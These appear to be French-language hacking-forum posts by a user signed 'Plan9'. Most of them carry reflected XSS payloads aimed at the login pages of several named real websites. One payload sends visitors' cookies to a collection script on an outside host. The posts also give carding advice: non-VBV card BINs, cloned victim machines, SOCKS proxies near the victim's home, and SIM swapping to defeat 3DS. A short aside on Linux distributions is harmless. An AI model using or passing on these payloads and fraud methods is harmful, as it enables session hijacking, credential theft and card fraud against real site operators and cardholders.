Plan 9

[hide]https://hardbin.com/ipfs/QmZuSt5P1d3vYWNuGmphAAaReV8PMusP5rtCxybnu7qxvf/#GAGuHTgD5S2iRB7Tasf21X7JUz2YLpNtT6oebhzDC92v[/hide]

[hide]https://hardbin.com/ipfs/QmQrypK9mbj8bgRNfn4XWjgq5BZpbssFvK1QkLZQfkoiCH/#8yAf5zCzLgzXy2tStL6RQSLxUxueDRmQWrRX3YWGXhMK[/hide]

[hide]https://hardbin.com/ipfs/QmVaxZeyLWVQyz8fuwH1YGFJ9LXWRMKGYYqq1UhqVDWwRk/#Bq6p93nL69k8Y7rqq1gQGGmBUa36HM3RY2CFsF8BfNNb[/hide]

[hide] https://0bin.net/paste/YGdEZb7tlN8VZXXe#agij6-Z4iSeKXK+j3o5tr3+PmFkHZXgizas2DevmJDL [/hide]

Les distributions se valent toutes, elles sont toutes baser sur le meme noyau (Linux). C'est surtout les licenses et la philosophie des differentes communautes qui vont impacter (in)directement sur les projets. Pour le reste c'est une question de gout, j'aime bien le CLI sinon LXDE ou XFCE me conviennent parfaitement.

Une vulnerabilitee XSS cela permet d'injecter du contenu dans une page qui s'executera coter client (navigateur). Par exemple, je pourrai recuperer les identifiants de l'administrateur ou des utilisateurs de plusieurs facon. Via une redirection et phishing lorsque le client bouge sa souris sur la page. [hide] https://www.soundfiles.fi/Login?!'><svg/onmouseover=(document.location="https://www.facebook.com")> [/hide] Je pourrai egalement recuperer les cookies ou tokens de connexions pour ensuite me logger en les usurpants. Exemple avec cookie. [hide] https://www.soundfiles.fi/Login?!'><svg/onmouseover=document.location='https://plan9.net/vol_de_cookie.php?c='+document.cookie;> [/hide] Je pourrai egalement developper un keylogger en PHP/JS ou prendre le controle de leurs machines ou encore les infecters ou encore faire des actions invisibles via une attaque CSRF si j'ai connaissance de l'architecture du CMS/Panel..

Nom de l'Outil : URL To Dork Converter La Fonction: Parameter Converter Too / Dork from URL / URL from Dork. Auteur: PlusUltra Je te laisse le soin de le chercher.

Utilise simplement un BIN sans VBV ou un site sans VBV (ou MSC/OTP).

Quiconque responsable d’une infrastructure informatique d’une certaine envergure sait qu’exploiter cette infrastructure avec ZÉRO logs est impossible. Suffit de regarder la plupart des services cites ici (NordVPN, IPVanish, ExpressVPN, ProtonVPN,,..etc), TOUS requires des informations personnel (email et parfois plus), financiaire (moyen de paiement). On a meme pas commencer a utiliser le service que deja il y a des empreintes. On n'utilisera jamais un VPN pour faire du carding (au risque de se manger le 3DS en pleine face), mais une VM cloner de la machine cible ainsi qu'une connexion distance a cette dt machine (permet de contourner tous les mecanismes de securiter), si l'acces/maintiant a distance n'est pas possible dans ce cas on utilisera le protocole SOCKS pour obtenir un proxy dans le lieu le plus proche de l'habitation de la victime, (risque de 3DS). Si tu sais que tu vas taper du 3DS, prepare un simjacking/sinswapping, mais la c'est d'un tout autre niveau....

[hide] http://remote.haubold.com/Login?!'><svg/onload=prompt("Plan9")> [/hide]

[hide] https://www.soundfiles.fi/Login?!'><svg/onload=prompt("Plan9")> [/hide]

[hide] https://server.matteothun.com/Login?!'><svg/onload=prompt("Plan9")> [/hide]

[hide] https://transfer.syndicate.de/Login?!'><svg/onload=prompt("Plan9")> [/hide]

[hide] https://doc-cabinet-paquier.fr/Login?!'><svg/onload=prompt("Plan9");> [/hide]